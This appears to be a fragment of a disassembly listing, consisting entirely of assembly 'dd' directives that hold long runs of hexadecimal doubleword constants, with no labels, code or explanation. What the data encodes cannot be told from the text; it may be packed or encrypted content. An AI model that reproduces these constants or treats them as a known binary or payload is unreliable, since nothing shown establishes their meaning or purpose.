		dd 27E0EAB8h, 0F6FB00F9h, 8E1A2D6Ch, 0ED015BD2h, 40C1906Eh
		dd 7AE415FDh, 16B10006h, 0FCB92FB5h, 2E0E5AACh,	0BF0284F1h
		dd 798D75C0h, 2EB3AF14h, 0F84999h, 4F949265h, 8200467Ch
		dd 0E3385ED4h, 24310C85h, 26C498h, 0EBF8E426h, 66008EC8h
		dd 5C60453Dh, 9B3C9Fh, 9A445AC0h, 6C7F9631h, 14F20500h
		dd 5F09BECAh, 7B07B057h, 708E00BFh, 1C815ADAh, 290B997Bh
		dd 8130012Fh, 16CBFE04h, 79287920h, 654400BBh, 0CA132651h
		dd 9B03431Fh, 3D96D03Fh, 689DB8DAh, 0AA5B00ADh,	45716AEFh
		dd 0B7005D05h, 0D9B0FFF6h, 55C052h, 9B22B660h, 0EECF956Fh
		dd 0C47A6100h, 0A9A17570h, 0D65B4C4Dh, 201D2E04h, 0B5C3C0EBh
		dd 160058C4h, 88A478CFh, 0AAA7DDh, 3DDE2D68h, 0E09D4E04h
		dd 53767A00h, 89FECABAh, 8D99006Dh, 106E1CA1h, 0B3F41927h
		dd 12CDFC00h, 0EAFE3A51h, 4AE0EA9h, 9883C9A6h, 53A8033Ch
		dd 0A20155BBh, 0A75AB1D5h, 3C20A171h, 0A910032h, 11D92013h
		dd 0D400D24Dh, 0F295BAF8h, 0FAAA4E21h, 0C7F2A1h, 5C12EE36h
		dd 0CF490D6Dh, 8B9CD43Ch, 80772CC2h, 6C8FE54Ah,	0B9430020h
		dd 8252BA5Dh, 0FCFD6539h, 100078FCh, 238779C4h,	927BC13h
		dd 0E45943B6h, 0CD6A7380h, 6C00A554h, 375791E0h, 38201C7Dh
		dd 0B7807042h, 0CF988336h, 680EF34Eh, 0C1F29995h, 0C1F7A6A7h
		dd 684E540h, 881F00FAh,	0DB6BC5EBh, 40001132h, 0F25F4BBEh
		dd 5D71A4h, 0AC3BC01Ch,	0C59C5972h, 0CB6C4A01h,	577A6F2Bh
		dd 5C44EC5h, 2184001Fh,	0F68C166Bh, 74000324h, 607F3C0Dh
		dd 11957D2h, 0BC494EAh,	4086C305h, 7C9D29ABh, 97005C92h
		dd 14FF10EFh, 0FCC47Dh,	839C5717h, 45E8D7A8h, 50BB48h
		dd 13F23BD6h, 126BE28h,	0B19A74E2h, 60305831h, 151E685Bh
		dd 5344E582h, 4F8035ADh, 0A178A0h, 563385D7h, 0F8DF07B7h
		dd 0CC17C100h, 0BB6FAFB5h, 0AD2900C9h, 63710B4Dh, 71C00C81h
		dd 35C2440Fh, 0DF2800E3h, 0D6174850h, 6E0020D3h, 0F2FDC093h
		dd 3C21E460h, 3A87F96Ah, 60B861AAh, 5BD67268h, 340037FCh
		dd 0C9970319h, 0E18AEC21h, 2416C930h, 1C406C6h,	5FF31195h
		dd 0DB118039h, 42E1938Dh, 4F8F003Bh, 2875C83Eh,	0CA002ACEh
		dd 1EB00740h, 1A12CD0h,	0D5ABDB9Bh, 0C984B774h,	4DE8C3F4h
		dd 0F060CC16h, 2C6C26E8h, 203A070Dh, 0D715A184h, 51E76096h
		dd 0AD1D74DCh, 89000C66h, 1823F0A8h, 8B2D00A4h,	3D7FF429h
		dd 97FE0213h, 9C52953Eh, 0E840A55Fh, 49A78038h,	0B0080F2Fh
		dd 2C86597Fh, 0E40070DFh, 0AFDA7265h, 1EBAE2E5h, 1517922h
		dd 8D8F8B02h, 64FFF945h, 0B300C158h, 0A2B8DF36h, 0CEB78BF7h
		dd 0F9833208h, 90ACA3A5h, 22413E10h, 5B6DD1C0h,	7496D216h
		dd 6A5D035Ch, 61DA0140h, 149E0FD8h, 5FC48h, 0D7ED1FA6h
		dd 3D3EF078h, 4A807D2Dh, 84AA1C77h, 5690076Ch, 0B15E9600h
		dd 0EAA695BBh, 7874483Eh, 0D1F28800h, 70CADCB7h, 57A570C5h
		dd 0A6C9701Fh, 124200Eh, 6269CFh, 3C10DEB1h, 440463B6h
		dd 80168D00h, 3003024Dh, 0A55315B7h, 732168A1h,	70004B90h
		dd 966415FBh, 7450B7FAh, 19305F10h, 0AB83933h, 578B0003h
		dd 0C1E022AAh, 0C200D1B4h, 24D2B0F3h, 8C27A7h, 63333C4Ah
		dd 62395EF8h, 0D9DF9E02h, 60D5CAFDh, 0EF4D327h,	0FA64BD47h
		dd 0E0127D40h, 0A20FB9C6h, 2CF80B5Dh, 30D07138h, 7F89E3B3h
		dd 5B70D8EEh, 21D21230h, 4CCEE0h, 96BA7E6Dh, 8768FF92h
		dd 0D40CDC07h, 29E0988Ch, 73A8F47Fh, 0BEDA3015h, 63C5DE39h
		dd 96D60100h, 22787783h, 0DF8F07ACh, 604555CCh,	57734A28h
		dd 14D749h, 710329BEh, 938F08h,	481E423Eh, 1198F6A9h, 880401E0h
		dd 1BA5D154h, 34700543h, 0CC847101h, 0FDB6F483h, 0F32D518Ch
		dd 2A03EC29h, 597566CDh, 1CA8E37h, 81F6854Eh, 0FB193299h
		dd 0FE1D91E0h, 30000092h, 572488BCh, 0D54AADh, 0EB665F77h
		dd 3B63D80Dh, 4E29FB60h, 1B9687E2h, 0D6E7987Dh,	91BB06B0h
		dd 0B9CFDC00h, 38AF7867h, 0D17634h, 0B7018256h,	5BDD791Eh
		dd 0D8835800h, 0DFC2116Fh, 614B1278h, 0B85840C4h, 0DD5BB40Bh
		dd 0D400A570h, 86C69A7Ah, 29C369FCh, 0E03A10h, 0C1548550h
		dd 98A062C0h, 863A944Ch, 0BEA5004Dh, 22B537F5h,	0E740073Fh
		dd 9628A8E9h, 0BEF2C1F2h, 0CFC7BD0Ch, 760F4B7h,	47164F40h
		dd 0F5A6C070h, 0A8A4D6B9h, 3E1F044h, 0B87114BAh, 0B79CCDh
		dd 5CA011FDh, 14D8F826h, 0B2A109h, 2B056738h, 7A703Eh
		dd 40C5FF73h, 107C0B5Bh, 0D6305F07h, 0BC5305F9h, 7D44E086h
		dd 70A01B03h, 3FD8A1E2h, 0DD241F16h, 0B340C86Ch, 3CBD806Ah
		dd 0EB8C9F92h, 7B99ED2Dh, 761FB401h, 5DD91AA1h,	0A0577B30h
		dd 228451Ch, 0B94FA21Bh, 0E1E33B2Eh, 70993900h,	83290335h
		dd 5C9F0E8Fh, 9886DCE1h, 0E92A89E6h, 0C5F0B84Dh, 0BB055E00h
		dd 0DE8CC8D9h, 0ED460C78h, 0DCE9354Dh, 1C9F0E00h, 8FD1586Fh
		dd 715E77C1h, 0F2751C30h, 8C564Ch, 0A5BC444Bh, 8E28F680h
		dd 2E00809Eh, 6E273F91h, 307EA8CEh, 0A381F31Dh,	870032BBh
		dd 4229FA1Ch, 5B0A2BAh,	0BF8C0F40h, 0E09403E7h,	900EA8BEh
		dd 83556A4Bh, 0D7DF70h,	4D3EB508h, 0D001869Dh, 109A49h
		dd 6E6D678Ch, 0C46478F9h, 83A608F8h, 7900F72Eh,	0E2CC4892h
		dd 1C95B2Dh, 12A1A801h,	0E966977Bh, 0A5A050F4h,	0F60039E1h
		dd 0AC7FADE0h, 1C03E45h, 34054121h, 80EA3BC5h, 9A581751h
		dd 13A9ED24h, 7DD2948h,	0BBF5E555h, 10861807h, 0EFA35A5h
		dd 68805934h, 80F8C408h, 0C86A6783h, 0A6005372h, 6FD21531h
		dd 30D12A14h, 7E291921h, 2E52DCA0h, 91B403F0h, 0EC7CFB8h
		dd 98A644F8h, 0EB1C1640h, 0E891C5F1h, 0A3F87480h, 12CFC40h
		dd 786346A7h, 0C1F58E38h, 87FDC51Eh, 0D91B0629h, 4701CA30h
		dd 79B024ECh, 0D0520004h, 671904C8h, 98013FB8h,	8FC62CA8h
		dd 0A425D957h, 0D324F0h, 0A9B9A25Eh, 0A1F7DC84h, 0C7053Ch
		dd 209403A5h
		dd 0E28D0EA7h, 708E0087h, 0A0AC7BB4h, 4174F480h, 2D30D89Ah
		dd 221BE1FEh, 0B410070Eh, 0D4122824h, 70048080h, 5A69D20Ch
		dd 8EF00179h, 1180DB57h, 4CA79D2Ah, 0EA3AB0BAh,	6E99830Ah
		dd 18B4D1h, 0EA10531h, 963245Dh, 91129802h, 641E1D4Dh
		dd 0EAB20094h, 0E9FD083Fh, 580280ACh, 2FC07799h, 0E778815Ah
		dd 6FF8F9A7h, 577918EDh, 9F9BC1A2h, 898A7C01h, 52078FA3h
		dd 0A6CC18DDh, 0C885836h, 6DA053CFh, 0C5E8FEE1h, 6859CE28h
		dd 0D7EE8401h, 0C25AA59Fh, 6672908Eh, 0CD5E0DE0h, 0C908C3Ch
		dd 3E1A2222h, 3CC867BAh, 0BD8F8200h, 0BE7BAFB9h, 21700413h
		dd 0CD8DA821h, 0F43C318Ch, 0B000DE9h, 0BD6A3B9Bh, 687B1Dh
		dd 858C5A80h, 4DC1EB82h, 81CF3805h, 7003BBF4h, 1BE5709Fh
		dd 6150E941h, 83885BE3h, 29C39F56h, 8BBA7AAFh, 0EAB5F035h
		dd 2B718B4h, 6A30E80Dh,	0C97EA0C4h, 20D5DF5Eh, 0C66F741Fh
		dd 13180D87h, 0D03305C0h, 80490139h, 945AC019h,	0E78C2087h
		dd 68403789h, 13611BB1h, 13F1C408h, 10E1D66h, 792EF8C6h
		dd 0A433F8F3h, 50D9532Ch, 7010B004h, 5C093C88h,	8F00B65Ah
		dd 20D2A156h, 25388ED4h, 3F8000CFh, 0E5D692DFh,	0EC9401A4h
		dd 125A2A3Eh, 0BEC18AD1h, 8D008195h, 6947BF3Fh,	98910182h
		dd 0A104CC0Ah, 0E83378h, 0A2E87BDFh, 184CAEFFh,	0C1EF1D43h
		dd 7001B7FEh, 3B277E47h, 95FC5C78h, 0DCF487h, 6859B657h
		dd 0D01234A0h, 0E8FC79C0h, 1D72C19Ch, 0C9A13D7Ch, 1C19A29Fh
		dd 0BD98206Dh, 48F280B8h, 8D1F0107h, 34C26579h,	0F634C1B9h
		dd 95754110h, 3A722F00h, 0A917A48Dh, 0DEE828h, 738B79B4h
		dd 2B183F85h, 460DA58h,	0BCABC5F0h, 1A60C8C6h, 99CB1257h
		dd 0F1359C00h, 1B00DE2Fh, 56894A05h, 0E4B3EF7h,	0A8A6279h
		dd 0FB20761h, 0F642E806h, 0B3482709h, 32282125h, 8C50F51Eh
		dd 1B6A997Ah, 0D42B7C64h, 0AAD110B0h, 0C986ED1Dh, 9F16A9A8h
		dd 6C32FE6Fh, 1F802833h, 77C6420Eh, 0F0663641h,	4CBCDF00h
		dd 386CA5E5h, 0E2E626ADh, 36950B51h, 0C34FC00h,	77005EDFh
		dd 63D4661Ah, 0C58B10h,	2D3EF448h, 0D3223FE6h, 4F3C3650h
		dd 4EACB403h, 0F7AECF7Bh, 0F90AC760h, 0E89806h,	53019127h
		dd 55126796h, 2FC41100h, 9DDEC770h, 0F7E15DAh, 0FB39A039h
		dd 93204E04h, 3E52C0D6h, 7A075BE2h, 31546CD8h, 2955E71h
		dd 487062CDh, 24AB0409h, 0C8A5D17Ah, 0AD3B0724h, 27220F0Dh
		dd 923D82DCh, 0EA3CC186h, 24441012h, 1563A3Ch, 662F7A1Fh
		dd 9C40D10Ah, 0FCA6DCEEh, 654D0EC8h, 0E38F857Eh, 3936987Dh
		dd 2B3E6FD0h, 2343007Ah, 8AE8990Fh, 9F1C0FD4h, 20F7A334h
		dd 216D4354h, 35958E00h, 0CA513ABh, 924052Fh, 264AE9DFh
		dd 0B32638D8h, 0C040E86Fh, 3FB0C41h, 3E0E77F2h,	57C173D2h
		dd 52187DCh, 10B0369Ah,	71C34D50h, 0E408B8A2h, 568228EBh
		dd 0B4930140h, 0A3ED64F1h, 903184h, 0EA0A5F9Ch,	2228334Ch
		dd 0A0BA0523h, 97A72DD6h, 370AC7ACh, 2C32D906h,	4CAA2CC0h
		dd 83071B00h, 0C226A5D8h, 4490983Dh, 2EF80FE6h,	0B659F167h
		dd 72047C10h, 0FF44036Bh, 0D700F67h, 2B3BA100h,	28116C98h
		dd 78E5E2A8h, 44F49894h, 0D4B13CEFh, 7B53700h, 12C6BC43h
		dd 7A0FB80h, 60A96388h,	573853C5h, 36CA44Dh, 0DB810F9Dh
		dd 6E64F0C2h, 141D00B8h, 0B7AF6C76h, 4B0E301Ah,	0BD5C087Ch
		dd 904611Dh, 0E94E3A12h, 79884060h, 60904182h, 94BEFB3Bh
		dd 4C2E05h, 0CAEC7E3Eh,	66B997h, 0C463C57h, 91EFB3FCh
		dd 0CC8B75Ch, 40379A61h, 0F5D016E2h, 78A420B4h,	7503FF5Eh
		dd 0BFE873D8h, 5BECC063h, 999F00DAh, 36970E1h, 3652B291h
		dd 87350380h, 0A09EDA09h, 13A7BA63h, 0E83C629h,	4E614C50h
		dd 200E5BDCh, 0DF746788h, 0A6D08450h, 0F0897C02h, 0A00A5780h
		dd 8A83F9BCh, 0A41800BDh, 59A8E538h, 2700F7B7h,	0C0D276BBh
		dd 0A243F27Fh, 6BA440F8h, 834A404Dh, 0C6D65905h, 848CF5B3h
		dd 8C7E05BDh, 0CC175CD1h, 0CC007638h, 6F7579B9h, 7CD93Eh
		dd 6E678D11h, 0A7868B1Fh, 13C40209h, 19BC03DFh,	0A0B016D9h
		dd 6861E09h, 511C2D5Eh,	0F3B39101h, 0FE4E9FFFh,	88F0E820h
		dd 0FB003F36h, 0C5107A0Ah, 914DF5A6h, 6F493380h, 0D4B130DBh
		dd 0B4722Eh, 95EAB48Ch,	3213EFAh, 0FC86A88Ah, 0C0ED5198h
		dd 9224F3A5h, 0DA395C00h, 1A36770Eh, 2CA60485h,	0E4B4D264h
		dd 0A5055FB4h, 881B6BC8h, 2B22B8C2h, 0B105000h,	0DC2C8001h
		dd 7800401Eh, 469726Ch,	71F72CF5h, 63D84A1Ch, 3E80F307h
		dd 0DB1E83A1h, 12531D13h, 1EAF9020h, 4C341D3Bh,	49B86415h
		dd 38CF5400h, 52083EB4h, 80371097h, 740CBE76h, 1B1361E6h
		dd 20277012h, 80C7B413h, 97F4C55h, 8D329840h, 593F3098h
		dd 0FB07C438h, 0FB00E2EEh, 0A5797870h, 3BC85C39h, 6780D275h
		dd 8552FE5Dh, 0A00761BAh, 2660CC47h, 3CA45CE4h,	578927B6h
		dd 96303C20h, 0C57A9181h, 4F27C200h, 4C765C3h, 9C3714D0h
		dd 0ED80F82Eh, 3A968DCAh, 0CF2BA2Ah, 34FD3501h,	0FC76ED69h
		dd 0AA80FC2Ch, 0A04FF42Fh, 0A5E08000h, 0B0245C1Dh, 909005h
		dd 4DA3C02Dh, 3571F373h, 5BDB90A8h, 94CA0600h, 72B044A5h
		dd 66DC388Bh, 5411E680h, 0F65E9F32h, 0AC18B4AAh, 602E39Dh
		dd 0D81495B9h, 80B843D9h, 901B4D8Bh, 437A5C70h,	6FC7860h
		dd 36E84063h, 0ABDDD916h, 6E289C30h, 0CE820F6Fh, 31E03485h
		dd 1D2FC579h, 0BD014E72h, 952CA8F5h, 0EC208598h, 32DE008Dh
		dd 840901A6h, 0DF0B567Ch, 487B04C5h, 161C3E00h,	32487A4h
		dd 236263A0h, 10059001h, 18A9480Ch, 13F6A5E0h, 0D05FEEE4h
		dd 2C5603B8h, 2DC98A08h, 843D3EF2h, 4233F300h, 1D94D181h
		dd 0F5C7990Eh, 344F448Fh, 15CFC90h, 0A5550EACh,	0E3C15902h
		dd 0F386F53Fh, 5B8CD680h, 0CF126518h, 0F881069h, 38ACC585h
		dd 0ABFCB1E0h, 290A04Ch, 3D005B4Ch, 3881A66Fh, 0CEDE8939h
		dd 5D04C820h, 0A6D1112Fh, 8C372604h, 59AA1940h,	8E9F3D28h
		dd 36D50980h, 610F5EC6h, 8205883Dh, 0F47E77AEh,	5B5C87B6h
		dd 60647C72h, 3FA5AFC4h, 0B3A661E2h, 0CDDA0C18h, 0D84956B1h
		dd 626B2E5Ch, 0D2EEAD02h, 0C848E387h, 5C274DEAh, 2F8A2C1Eh
		dd 0B80039BAh, 0A9A1EF10h, 82005D93h, 9EA24F40h, 3D502Dh
		dd 2E3F2ABDh, 0DA81AB27h, 8E7F8000h, 870C70C8h,	4E3B4FCCh
		dd 1E0D0E8h, 0C2458999h, 0E000197Eh, 0A3410DA6h, 0F3710475h
		dd 2FD95442h, 190B1867h, 4207FD80h, 2B0F6D51h, 49174Dh
		dd 0F24F3DB8h, 62120096h, 0F76AE7B4h, 0A500DE84h, 0E190821Ch
		dd 94D7EB74h, 33A440DCh, 0A01EE95h, 725DD8E2h, 9C40DE70h
		dd 0A0441Ch, 0ADDFA87Eh, 5AD14893h, 539CA67h, 5008C8D5h
		dd 3CE180D5h, 84779E18h, 1A8148h, 95108E60h, 3F28DFC8h
		dd 6C137F09h, 0E8981C0Dh, 1E5F22C8h, 0BF6FE100h, 36E699FBh
		dd 9B94A9E9h, 88008863h, 0F1AD8411h, 8B034DB8h,	0F787ECCh
		dd 0A8A09585h, 39FC6F1Dh, 0AE234961h, 7379C8E7h, 0A212457Bh
		dd 201E83h, 3FD0CB3h, 0CE377C64h, 27D93E40h, 416C6105h
		dd 64A357B4h, 4F00F104h, 0C558B414h, 3D9B8Bh, 8069818Eh
		dd 30051D02h, 40FF958h,	0FEDF29E4h, 647E6382h, 19410044h
		dd 5EDC37CAh, 8709209Bh, 80EB0D68h, 0E7C072Ch, 9A0FA79h
		dd 1FB58FDBh, 291EC068h, 6D8EAC07h, 0AC09187h, 2DFBE7F7h
		dd 0F80B75D2h, 8200309Bh
		dd 0DBAD586Fh, 5C79844Dh, 0F780C457h, 0A42721Eh, 4A4FC001h
		dd 67042D80h, 75A8BBCCh, 1B471820h, 0B36079C5h,	0CBCE3600h
		dd 198C72F4h, 2CE414h, 6627BF43h, 1E7F1A90h, 0C7000091h
		dd 523D08FFh, 73CE8C9h,	0F479247Ah, 0E7CE5070h,	0A626C8E6h
		dd 1041C87h, 68894E48h,	6C81E340h, 0A01501EAh, 6D21788Bh
		dd 92EFD353h, 80E0B1D8h, 8101F64Dh, 39A68729h, 8C30D4C9h
		dd 2CC2457Ch, 0D1C80D0h, 76983D2Ch, 0E6EA009Bh,	37C3B263h
		dd 0EBB0C40Eh, 12D65F07h, 0D29570A0h, 4248A4C1h, 93CDC76h
		dd 0A363C880h, 953E6C13h, 4D4B704h, 0CFC177A1h,	0B47256AAh
		dd 50CC0507h, 67AB00CEh, 9B0B7A57h, 80FBF052h, 578AFB6h
		dd 178BB0B8h, 0B678F8Dh, 0D8C81EE8h, 0B50E20F2h, 200C0F88h
		dd 0D31AEC4Ah, 0FD4D0482h, 0B0DF86E2h, 689C8538h, 0FA00F448h
		dd 7DA1415h, 34B02Ah, 7FAB48A7h, 89A4123Ah, 2BA5D805h
		dd 0ACA2B4FDh, 415C2900h, 0E4378C6Ah, 0F483BD0Ah, 184B9CB2h
		dd 1E7E9Ch, 4F94DC9h, 82C036EEh, 9F533F03h, 0B809914Ah
		dd 942DA7D0h, 1D5E8094h, 0C743A2FDh, 3D007298h,	2904A355h
		dd 0CA9BC04Ch, 40B0B568h, 52CC7A5Dh, 98B636FAh,	0A0AD2E80h
		dd 8F25A9h, 29D8DAEh, 4C7735D2h, 875AC0F4h, 51293020h
		dd 28980BDFh, 4600738Fh, 96D37FBAh, 0DA4A68C4h,	9D2D7841h
		dd 808C38A6h, 4802778Eh, 839100C9h, 29F12E8Ah, 2209CEBFh
		dd 9036C606h, 78F6C4F4h, 0E5F93D31h, 2AE1230Eh,	0CCBA9460h
		dd 6307BBD7h, 0BC9B70D9h, 0A657B700h, 3C5B0084h, 91965B8h
		dd 0BC915A50h, 1BFE3201h, 0DD30812Eh, 0F7B904E9h, 82BF1119h
		dd 38406828h, 8F3EEC0Eh, 2E0517F3h, 94E0DC90h, 5F180064h
		dd 30E31108h, 2D4ADE24h, 7B8CC041h, 6BDCC79Eh, 73FD0A52h
		dd 40946FECh, 0F00E84E3h, 0FBA04D7Bh, 482C575Bh, 66190B5h
		dd 4425C61Bh, 0CDBAE8h,	4E2A4BFh, 4B55D14Dh, 953A000h
		dd 0D5076586h, 0A68504F7h, 0C0822335h, 56EB2634h, 4F8F74A0h
		dd 5DC8C209h, 0EF50083h, 7121162h, 0DD1F1995h, 94B5B01Eh
		dd 3D125449h, 0B3094C4Dh, 0E444B6h, 4AE1A0B9h, 2DD81949h
		dd 967A84h, 0E2B38887h,	0F6009C9h, 0E60038B9h, 0B69D8244h
		dd 0B4E100D1h, 0FC1CC3Fh, 2512F493h, 0B809E07Eh, 5CA40297h
		dd 0F9615FB1h, 708C7266h, 2F1693F4h, 4802298Fh,	525E9FFFh
		dd 0DEEC00BCh, 0E25033A6h, 7A241C68h, 85607CDFh, 72285E7Dh
		dd 0BAE30710h, 7D60D17h, 0AAF8B35Ah, 0F057D000h, 56FA1561h
		dd 0E2370685h, 61E3639Fh, 28CB8670h, 0C548101Fh, 0FDD95818h
		dd 16228B03h, 13D046DAh, 0F30F41FEh, 25782AF0h,	88A31D51h
		dd 1429D612h, 6C022F78h, 0DCF7ABB1h, 635D3440h,	0E0279F4h
		dd 6FA57DCDh, 7FF848A1h, 3E81002Dh, 916A331Bh, 0D8028E6Bh
		dd 0E7701ECFh, 0F87CC456h, 0A165005Eh, 92A875D3h, 0A600258Ah
		dd 1076CD8Bh, 21EA3E3h,	0D26FD8AEh, 0B485DDE2h,	0E0F0C0B5h
		dd 27004AD7h, 653F977Fh, 18DC2CC7h, 0B94836E7h,	0F800C5A5h
		dd 56E2EFABh, 0F6D58D83h, 39FC1F1Bh, 0A2870063h, 6E788202h
		dd 13E09CA1h, 8D2C80E9h, 19660467h, 0F3B4F5C9h,	6FA91260h
		dd 81AE4C20h, 0DC9503D5h, 57CB7896h, 684AF5C9h,	0E0A0C4A4h
		dd 9017C483h, 5092D89h,	1F9F4F72h, 75CC40CEh, 4C78F43Ah
		dd 0D0C17100h, 1FC8F9C7h, 7421C03Ch, 98B16D95h,	10E92E24h
		dd 50AEFD80h, 0FCC32C5h, 469D2353h, 0EB22AFA0h,	0E507E17Bh
		dd 15A5DC38h, 66CB24E2h, 0F2B90040h, 6DA2ED95h,	3D0738CEh
		dd 8DAC1AD9h, 0F61F207Fh, 732F5BDBh, 53B10B63h,	0E8988C4Fh
		dd 52059EC0h, 0E447E876h, 0DEA92081h, 0F200BE0Ch, 8289FCA1h
		dd 0DBBC09h, 3EEB6BEAh,	34763F16h, 5F0EDA00h, 0C5FA33BAh
		dd 1A57E70h, 0FC85F852h, 2CF4DCCDh, 2C5B8010h, 2DF54D91h
		dd 0A01863EEh, 11F4858h, 842EF345h, 5F3D4C40h, 5E5B0016h
		dd 0CAD297E1h, 61581904h, 5176C054h, 288936CEh,	1334B2F5h
		dd 97F8095h, 7871073Ch,	33870E1Dh, 0C6F092D4h, 443AF3Dh
		dd 5437CDBBh, 0F0B080A0h, 79487B82h, 10FC2F98h,	83DED8F0h
		dd 797C99E3h, 12C8985Ch, 0C8271B2Fh, 0DAFD06E0h, 0E20700E8h
		dd 0F3446511h, 21C0BF5Fh, 4812C586h, 6854A0BCh,	0E5D01E61h
		dd 0A3074378h, 6177E82Eh, 55FB9B00h, 0DD63009h,	3A503E62h
		dd 0AD1D2E00h, 28B63DB3h, 1C116B1Dh, 78ABCC01h,	6020F55Ch
		dd 808899B2h, 0A3BB940Bh, 0F40B0ACBh, 0E487BFC8h, 0D99701D4h
		dd 5F11D34Bh, 62CCFC6Fh, 0A5BA031Ch, 908FB6C0h,	4C04A2F0h
		dd 3F008C35h, 8DE44BDFh, 0F4567EDCh, 0F784108Ch, 2263029Ch
		dd 98B0D478h, 0A604DF83h, 1FD16D13h, 198744A8h,	0F728C162h
		dd 0C95BD0E1h, 4888DF4Bh, 631A004Ch, 4D50171Bh,	0BC5CC847h
		dd 9A2124F8h, 0C188C51Bh, 9601DF0Ch, 720E236h, 0EB43B1Ch
		dd 23CA28AFh, 2602D2Fh,	0F87BCE7Eh, 0F2D5A701h,	164D8687h
		dd 7B601030h, 0B1249038h, 7063000Ch, 65A5DDE1h,	0F09B91Eh
		dd 0FF1810EFh, 6DD800C8h, 0C74DE0ADh, 66705DCCh, 83D98E09h
		dd 0C0CC4B0Fh, 1263C6h,	485DADFh, 0DB18D0C2h, 20E9531Ch
		dd 0AC4D62C2h, 198C8480h, 0B7E17147h, 3EF5C22Bh, 0D29BB499h
		dd 0FA578022h, 3DF900DCh, 0A6E57A1Dh, 7EFED115h, 491F19FEh
		dd 7040A265h, 61AA5B1Bh, 0BEE12CFFh, 400C604Ch,	0B100B635h
		dd 97270B3Fh, 786B54FDh, 0A4BD018Bh, 0B4BBAF5Eh, 4FB8389Bh
		dd 65756830h, 0A1AF00D5h, 0D13DD0E8h, 21CD1657h, 868B8A9h
		dd 3F2E7C94h, 52E6C2B8h, 2582BCF9h, 80219F15h, 0B0CD67EDh
		dd 0FE86015Eh, 894C47BBh, 3E4621Fh, 0DFD233C2h,	60FC927Ch
		dd 7A54C4Bh, 918D6C4Eh,	0F41971C9h, 3873D666h, 8B2D2C80h
		dd 0CAA4FCh, 7ADCD44Dh,	41F1A7B9h, 12433402h, 60DD13ACh
		dd 48D204F4h, 3C85C859h, 0A6BC40F1h, 1FEE06CBh,	8B7CBE49h
		dd 0AD6C018Bh, 9C6257CDh, 1ABFE700h, 0A57B6DB3h, 0B8007FFCh
		dd 8C84AA47h, 4F7EFF67h, 90882041h, 5D0AB41Dh, 0EF6B38F0h
		dd 0C9589700h, 4E840147h, 1DB40093h, 67B9CD50h,	552D6D7Ah
		dd 0FED4107Ah, 0B7E700C6h, 9FA6B4F7h, 0EB02154Bh, 2731A5D8h
		dd 38E879ACh, 0ED1E5280h, 0F12DB34h, 0A71AEC03h, 8879A351h
		dd 9C5A36A6h, 40CB3F10h, 1F0D72F4h, 3A00D7A8h, 85B2E2F1h
		dd 1E875032h, 0C44FF5h,	6878A9A1h, 1E5E7F51h, 8EB9A040h
		dd 4F44924h, 4D989318h,	794F21Ch, 16AADF1Fh, 3774C2D0h
		dd 49750E9Fh, 0D6C2C409h, 6C5871AEh, 0A26FB015h, 8C1A00ACh
		dd 29F35970h, 0C7D04C0h, 805E92F2h, 9FD6142Ch, 0D0D06F4Ah
		dd 76EE0963h, 48196755h, 4398EAE2h, 0C0D52FCBh,	0C88255D6h
		dd 12009D48h, 7460B3D2h, 0B158F472h, 19348024h,	0D75BDD64h
		dd 5C00CA77h, 0B407B291h, 83E112h, 48D41B3Fh, 1E81EB8Dh
		dd 9E00A0A4h, 0C7BD2B43h, 3DCC456Ch, 5F011DCFh,	9892633Fh
		dd 7255F4B2h, 2140C49Ch, 0FFBAA3h, 8DE5E820h, 881C4794h
		dd 71B0E8C0h, 90F21CCh,	0ECC7E34Ah, 4BF3D004h, 0BC601037h
		dd 12287E47h, 0E85DB0h,	34578B64h, 0D700647Eh, 80A988ADh
		dd 5CF8CA8Dh, 1B8B482Dh, 15C8DB80h, 96586F7Ch, 0DF000C5h
		dd 24BDBFD3h, 0E1FC0058h, 0EFB8E05Bh, 284C8279h, 3F1E00F0h
		dd 0D15C9EA8h, 0F4584CCEh, 93B67187h, 1112258Dh, 7C201B07h
		dd 0E6BC5Bh, 0D4013E1h,	0B2F02FEFh, 0F5EE6CE4h,	0E0571024h
		dd 0EADC3A40h, 87510007h
		dd 0DB28FD54h, 9476F170h, 990D4E6h, 54403EF1h, 0A104BDDCh
		dd 4C65F67h, 8836C53Ch,	0E26F6E4h, 28078606h, 0D26256A6h
		dd 0AEFC985Ah, 0F43E080Eh, 5693C65Fh, 9DBBB820h, 0CC6F0053h
		dd 0F3155A79h, 0F6042255h, 4E480B9Bh, 0E82074CCh, 5EC602E7h
		dd 8603990Eh, 64D180C2h, 0D7A57E04h, 0F00028E3h, 0F3FAE524h
		dd 0F900E8B5h, 15EB02F7h, 9878517h, 0C566E1B0h,	0F57200A0h
		dd 0C0944FE9h, 7C8C90ADh, 0C3BE01BFh, 9FB61E49h, 543363h
		dd 31AD463Fh, 5FF807D5h, 3E284065h, 0AA74854Bh,	910B9E0Fh
		dd 61D8C03Fh, 1370C68Fh, 0A1BED7B5h, 14442080h,	0F411DF26h
		dd 8034B408h, 898D256Ah, 0B107C36Ch, 8580B54Ah,	0A8861900h
		dd 53AB7DBFh, 0BC00E82Bh, 6B24B4FCh, 0CA007622h, 0C0CD5632h
		dd 4E0C7C4h, 0BA55C218h, 63CF46Ch, 0D888700h, 5468CCDBh
		dd 5C57E4Ch, 83AD0DFh, 1A2C0070h, 0AC832331h, 0C60DF401h
		dd 0A4D8207Fh, 0F784DC6Ch, 4CECB478h, 0AE8D1B00h, 0EB83C38Ch
		dd 84290089h, 7096DE86h, 2E2A8709h, 0E800AC05h,	7C3C48A2h
		dd 133777Ah, 2B923B66h,	3FD1BDF0h, 8795B820h, 3A9090DEh
		dd 318D816h, 0A07168E2h, 6502C898h, 7D9F51B0h, 49D85CFBh
		dd 0F77AF498h, 160EA288h, 3084C3D1h, 8B51BCF8h,	0AD948100h
		dd 74CCCEAAh, 681A025Ah, 17A8E922h, 0BB9CB8D1h,	5E5216D8h
		dd 0A9D600F0h, 0A58F11Ch, 4EB80268h, 9980B8B1h,	9BE3506h
		dd 0EE8C00F4h, 0C5454732h, 10B55F04h, 88175B2Ch, 664879BAh
		dd 190C0008h, 86A08D01h, 0E70909F5h, 0F810A5D1h, 909D6B53h
		dd 2170C94h, 48621183h,	585186A4h, 5C719701h, 75DEDDDFh
		dd 4D85D900h, 0C605211Eh, 10FD4B96h, 7FBCACC8h,	828A0014h
		dd 91216105h, 0D601CD60h, 0EC637AB9h, 0BC20BDA0h, 0E6F10047h
		dd 726CD896h, 5C52D127h, 9F780560h, 0C421E197h,	8C7C1BA8h
		dd 1998E200h, 7F54A717h, 0C4744D27h, 91AD00DCh,	0D26A78CDh
